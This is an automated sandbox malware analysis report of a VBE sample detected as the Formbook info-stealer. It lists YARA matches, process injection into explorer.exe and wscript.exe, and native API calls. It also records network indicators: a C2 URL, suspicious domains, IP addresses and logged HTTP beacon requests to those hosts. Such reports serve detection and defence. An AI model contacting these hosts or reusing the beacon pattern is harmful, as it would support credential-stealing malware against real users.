Windows Analysis Report
TNS71092E68UI0.vbe

AI detected suspicious sample

Source: Yara match	File source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Joe Sandbox ML: detected

Source:	Binary string: wntdll.pdb source: HHhHh.exe, wscript.exe
Source:	Binary string: wscript.pdb source: wscript.exe

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 6_2_009C23CE GetFileAttributesW,GetLastError,FindFirstFileW,WideCharToMultiByte,GetLastError,__alloca_probe_16,WideCharToMultiByte,GetFileAttributesA,GetLastError,FindFirstFileA,FindClose,

6_2_009C23CE

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4x nop then pop ebx		4_2_00407B20
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 4x nop then pop ebx		6_2_00907B20

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.169.142.0 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.242 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.happygreenfarm.com/de94/

Performs DNS queries to domains with low reputation

Source:	DNS query: www.tateshades.xyz
Source:	DNS query: www.legalix.xyz

Source: global traffic	HTTP traffic detected: GET /de94/?iH=L48pdJnx&jBZ=KxdOA0Mo1WZhrruLdWg4BGjiUazPRKkva+c6BVUkR9pg9lvbFJGOvuIlGrqlewJrvTBn HTTP/1.1Host: www.tateshades.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de94/?jBZ=DixB1qykAeF3P3PXJeHdSknPWO1HgPnInxoSQIfAm9wP6zKJEe36YOPFRPwN1ZbEVsUi&iH=L48pdJnx HTTP/1.1Host: www.gyosei-arimura.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de94/?iH=L48pdJnx&jBZ=5tT0wx6F9dDlvd0I7/Gf0Z876YhP5UCSCTQNI7gCLgEp6gs1sNLPrbs4iKZbSyW3sHh4 HTTP/1.1Host: www.ashleymorgan.liveConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de94/?jBZ=oGEpRlg+OmPq0B7KIcYot+ASNw6YPmukejZMyF938WrRMvUmELkE1jbD5t8azbvrsm6P&iH=L48pdJnx HTTP/1.1Host: www.rendamaisbr.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de94/?iH=L48pdJnx&jBZ=2R5LA04AgrrHOF4dber2AYa+4EXsdsXp9ugXIfcwTjx7QxDViEac/VVT3dt/yVkMwVF8 HTTP/1.1Host: www.especialistaleitura.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 103.169.142.0 103.169.142.0
Source: Joe Sandbox View	IP Address: 198.54.117.242 198.54.117.242

Source: Joe Sandbox View	ASN Name: MTSRU MTSRU
Source: Joe Sandbox View	ASN Name: AARNET-AS-APAustralianAcademicandResearchNetworkAARNe AARNET-AS-APAustralianAcademicandResearchNetworkAARNe
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\explorer.exe

Code function: 5_2_11269F82 getaddrinfo,setsockopt,recv,

5_2_11269F82

Source: global traffic	HTTP traffic detected: GET /de94/?iH=L48pdJnx&jBZ=KxdOA0Mo1WZhrruLdWg4BGjiUazPRKkva+c6BVUkR9pg9lvbFJGOvuIlGrqlewJrvTBn HTTP/1.1Host: www.tateshades.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de94/?jBZ=DixB1qykAeF3P3PXJeHdSknPWO1HgPnInxoSQIfAm9wP6zKJEe36YOPFRPwN1ZbEVsUi&iH=L48pdJnx HTTP/1.1Host: www.gyosei-arimura.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de94/?iH=L48pdJnx&jBZ=5tT0wx6F9dDlvd0I7/Gf0Z876YhP5UCSCTQNI7gCLgEp6gs1sNLPrbs4iKZbSyW3sHh4 HTTP/1.1Host: www.ashleymorgan.liveConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de94/?jBZ=oGEpRlg+OmPq0B7KIcYot+ASNw6YPmukejZMyF938WrRMvUmELkE1jbD5t8azbvrsm6P&iH=L48pdJnx HTTP/1.1Host: www.rendamaisbr.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de94/?iH=L48pdJnx&jBZ=2R5LA04AgrrHOF4dber2AYa+4EXsdsXp9ugXIfcwTjx7QxDViEac/VVT3dt/yVkMwVF8 HTTP/1.1Host: www.especialistaleitura.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic	DNS traffic detected: DNS query: www.tateshades.xyz
Source: global traffic	DNS traffic detected: DNS query: www.gyosei-arimura.com
Source: global traffic	DNS traffic detected: DNS query: www.ashleymorgan.live
Source: global traffic	DNS traffic detected: DNS query: www.gv031.net
Source: global traffic	DNS traffic detected: DNS query: www.rendamaisbr.com
Source: global traffic	DNS traffic detected: DNS query: www.especialistaleitura.online
Source: global traffic	DNS traffic detected: DNS query: www.rtproketslotcsn.art
Source: global traffic	DNS traffic detected: DNS query: www.exploringtheoutdoors.net
Source: global traffic	DNS traffic detected: DNS query: www.invigoratewell.com
Source: global traffic	DNS traffic detected: DNS query: www.legalix.xyz
Source: global traffic	DNS traffic detected: DNS query: www.21stcut.shop

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:05:29 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MAbLK1QdlRV6LTBnBQHP4GMtosATTCpVjiz%2F%2B8enYj6c8u0AHIppOl0xFo2qiVuQVaotmCVNuMU9HCRRoMoShzJFVrl5VcK8YiriQ5ZaRymFb5cMcNjDMhOkipfaQtZ83MDb%2F%2FPM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93ea39e95042c0-EWRalt-svc: h3=":443"; ma=86400Data Raw: 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 99<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>0

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041A360 NtCreateFile,	4_2_0041A360
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041A410 NtReadFile,	4_2_0041A410
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041A490 NtClose,	4_2_0041A490
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041A540 NtAllocateVirtualMemory,	4_2_0041A540
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041A35A NtCreateFile,	4_2_0041A35A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041A53A NtAllocateVirtualMemory,	4_2_0041A53A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2B60 NtClose,LdrInitializeThunk,	4_2_012D2B60
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_012D2BF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2AD0 NtReadFile,LdrInitializeThunk,	4_2_012D2AD0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2D30 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_012D2D30
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2D10 NtMapViewOfSection,LdrInitializeThunk,	4_2_012D2D10
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_012D2DF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2DD0 NtDelayExecution,LdrInitializeThunk,	4_2_012D2DD0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_012D2C70
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2CA0 NtQueryInformationToken,LdrInitializeThunk,	4_2_012D2CA0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2F30 NtCreateSection,LdrInitializeThunk,	4_2_012D2F30
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2FB0 NtResumeThread,LdrInitializeThunk,	4_2_012D2FB0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2F90 NtProtectVirtualMemory,LdrInitializeThunk,	4_2_012D2F90
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2FE0 NtCreateFile,LdrInitializeThunk,	4_2_012D2FE0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,	4_2_012D2EA0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2E80 NtReadVirtualMemory,LdrInitializeThunk,	4_2_012D2E80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D4340 NtSetContextThread,	4_2_012D4340
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D4650 NtSuspendThread,	4_2_012D4650
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2BA0 NtEnumerateValueKey,	4_2_012D2BA0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2B80 NtQueryInformationFile,	4_2_012D2B80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2BE0 NtQueryValueKey,	4_2_012D2BE0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2AB0 NtWaitForSingleObject,	4_2_012D2AB0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2AF0 NtWriteFile,	4_2_012D2AF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2D00 NtSetInformationFile,	4_2_012D2D00
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2DB0 NtEnumerateKey,	4_2_012D2DB0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2C00 NtQueryInformationProcess,	4_2_012D2C00
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2C60 NtCreateKey,	4_2_012D2C60
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2CF0 NtOpenProcess,	4_2_012D2CF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2CC0 NtQueryVirtualMemory,	4_2_012D2CC0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2F60 NtCreateProcessEx,	4_2_012D2F60
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2FA0 NtQuerySection,	4_2_012D2FA0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2E30 NtWriteVirtualMemory,	4_2_012D2E30
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2EE0 NtQueueApcThread,	4_2_012D2EE0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D3010 NtOpenDirectoryObject,	4_2_012D3010
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D3090 NtSetValueKey,	4_2_012D3090
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D35C0 NtCreateMutant,	4_2_012D35C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D39B0 NtGetContextThread,	4_2_012D39B0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D3D10 NtOpenProcessToken,	4_2_012D3D10
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D3D70 NtOpenThread,	4_2_012D3D70
Source: C:\Windows\explorer.exe	Code function: 5_2_11269232 NtCreateFile,	5_2_11269232
Source: C:\Windows\explorer.exe	Code function: 5_2_1126AE12 NtProtectVirtualMemory,	5_2_1126AE12
Source: C:\Windows\explorer.exe	Code function: 5_2_1126AE0A NtProtectVirtualMemory,	5_2_1126AE0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_04DA2CA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_04DA2C70
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2C60 NtCreateKey,LdrInitializeThunk,	6_2_04DA2C60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2DD0 NtDelayExecution,LdrInitializeThunk,	6_2_04DA2DD0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_04DA2DF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_04DA2D10
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,	6_2_04DA2EA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2FE0 NtCreateFile,LdrInitializeThunk,	6_2_04DA2FE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2F30 NtCreateSection,LdrInitializeThunk,	6_2_04DA2F30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2AD0 NtReadFile,LdrInitializeThunk,	6_2_04DA2AD0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_04DA2BF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_04DA2BE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2B60 NtClose,LdrInitializeThunk,	6_2_04DA2B60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA35C0 NtCreateMutant,LdrInitializeThunk,	6_2_04DA35C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA4650 NtSuspendThread,	6_2_04DA4650
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA4340 NtSetContextThread,	6_2_04DA4340
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2CC0 NtQueryVirtualMemory,	6_2_04DA2CC0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2CF0 NtOpenProcess,	6_2_04DA2CF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2C00 NtQueryInformationProcess,	6_2_04DA2C00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2DB0 NtEnumerateKey,	6_2_04DA2DB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2D00 NtSetInformationFile,	6_2_04DA2D00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2D30 NtUnmapViewOfSection,	6_2_04DA2D30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2EE0 NtQueueApcThread,	6_2_04DA2EE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2E80 NtReadVirtualMemory,	6_2_04DA2E80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2E30 NtWriteVirtualMemory,	6_2_04DA2E30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2F90 NtProtectVirtualMemory,	6_2_04DA2F90
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2FB0 NtResumeThread,	6_2_04DA2FB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2FA0 NtQuerySection,	6_2_04DA2FA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2F60 NtCreateProcessEx,	6_2_04DA2F60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2AF0 NtWriteFile,	6_2_04DA2AF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2AB0 NtWaitForSingleObject,	6_2_04DA2AB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2B80 NtQueryInformationFile,	6_2_04DA2B80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA2BA0 NtEnumerateValueKey,	6_2_04DA2BA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA3090 NtSetValueKey,	6_2_04DA3090
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA3010 NtOpenDirectoryObject,	6_2_04DA3010
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA3D70 NtOpenThread,	6_2_04DA3D70
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA3D10 NtOpenProcessToken,	6_2_04DA3D10
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA39B0 NtGetContextThread,	6_2_04DA39B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091A360 NtCreateFile,	6_2_0091A360
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091A490 NtClose,	6_2_0091A490
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091A410 NtReadFile,	6_2_0091A410
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091A540 NtAllocateVirtualMemory,	6_2_0091A540
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091A35A NtCreateFile,	6_2_0091A35A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091A53A NtAllocateVirtualMemory,	6_2_0091A53A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04ADA036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,RtlQueueApcWow64Thread,NtResumeThread,	6_2_04ADA036
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04AD9BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,	6_2_04AD9BAF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04ADA042 NtQueryInformationProcess,	6_2_04ADA042
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04AD9BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_04AD9BB2

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_04B3D5DC	2_2_04B3D5DC
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051CECD8	2_2_051CECD8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C85D8	2_2_051C85D8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C85C8	2_2_051C85C8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C0400	2_2_051C0400
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C8193	2_2_051C8193
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C81A0	2_2_051C81A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051CA0B8	2_2_051CA0B8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051CA0A8	2_2_051CA0A8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C03F0	2_2_051C03F0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C7D5B	2_2_051C7D5B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C7D68	2_2_051C7D68
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C9C70	2_2_051C9C70
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051C9C80	2_2_051C9C80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_00401030	4_2_00401030
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_00401174	4_2_00401174
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041D90C	4_2_0041D90C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041E23C	4_2_0041E23C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041EB3A	4_2_0041EB3A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041C3E6	4_2_0041C3E6
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_00402D88	4_2_00402D88
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_00402D90	4_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041D5A6	4_2_0041D5A6
